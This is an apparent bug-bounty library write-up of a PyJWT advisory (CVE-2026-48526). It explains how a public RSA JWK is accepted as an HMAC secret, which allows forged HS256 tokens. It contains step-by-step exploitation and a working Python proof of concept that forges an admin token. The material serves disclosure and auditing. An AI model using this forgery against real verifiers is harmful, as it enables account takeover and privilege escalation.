# PyJWT: Public-key JWK accepted as HMAC secret enables forged HS256 tokens when mixed families are allowed

PyJWT's HMAC key check only rejects PEM/SSH keys, so a public RSA JWK passed as key is accepted as an HS256 secret, letting attackers forge tokens.

- Payout: Research
- Severity: high
- Program: PyJWT
- Found by: aradona91
- Disclosed: 2026-06-15
- CVE: CVE-2026-48526
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-xgmm-8j9v-c9wx
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-xgmm-8j9v-c9wx
- Tags: area:oss domain:oss impact:ato impact:privesc kind:research platform:ghsa sev:high tech:jwt technique:source-review vuln:auth-bypass vuln:crypto

**Target:** PyJWT library JWS decode (HMACAlgorithm.prepare_key)
**Root cause:** HMACAlgorithm.prepare_key only rejects PEM/SSH-formatted asymmetric keys; a raw JSON JWK string passes force_bytes and is used directly as the HMAC secret, so a public key becomes a shared secret.
**Steps:**
1. Configure verifier with mixed families and a JWK key: `jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"])`
2. Attacker sets header `{"alg":"HS256","typ":"JWT"}` and chosen claims e.g. `{"sub":"alice","admin":true}`
3. Sign HMAC-SHA256 over `header.payload` using the public JWK JSON text as the secret
4. Submit token; PyJWS accepts it and returns the forged payload
**How found:** Classic JWT algorithm-confusion reasoning: checked existing HMAC key protections and noticed they only cover PEM/SSH formats, then hypothesized a JSON JWK would slip through prepare_key and confirmed with a PoC.
**Exploitation:** Attacker needs the issuer's public JWK (public by design), crafts an HS256 token signed with that JWK JSON text as HMAC secret, and submits it to a verifier that allows both HS* and an asymmetric alg with the JWK as key; verifier accepts and returns attacker-chosen claims, impersonating any user/role.
**Insight:** When auditing JWT libraries, enumerate every key input format (PEM, SSH, raw JWK JSON, dict) against the HMAC key guard — format-specific denylists leave gaps; a dict/JSON JWK bypasses PEM/SSH checks.

## Proof of concept (copied exactly from the original report)

**Python PoC forging HS256 token with public JWK as secret**

```
from jwt.api_jws import PyJWS
import json, base64, hmac, hashlib

def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=")

# Public RSA JWK (public by design)
rsa_jwk_json = json.dumps({"kty":"RSA","n":"AQAB","e":"AQAB"})

# Attacker-crafted token: flip to HS256 and choose claims
header  = b64u(b'{"alg":"HS256","typ":"JWT"}')
payload = b64u(b'{"sub":"alice","admin":true}')
signing = header + b"." + payload

# Sign with HMAC using the PUBLIC JWK JSON TEXT as the “secret”
sig   = hmac.new(rsa_jwk_json.encode(), signing, hashlib.sha256).digest()
token = (signing + b"." + b64u(sig)).decode()

# Vulnerable verifier: mixed families + JWK JSON string as key
jws = PyJWS()
print(jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))
# -> b'{"sub":"alice","admin":true}'
```

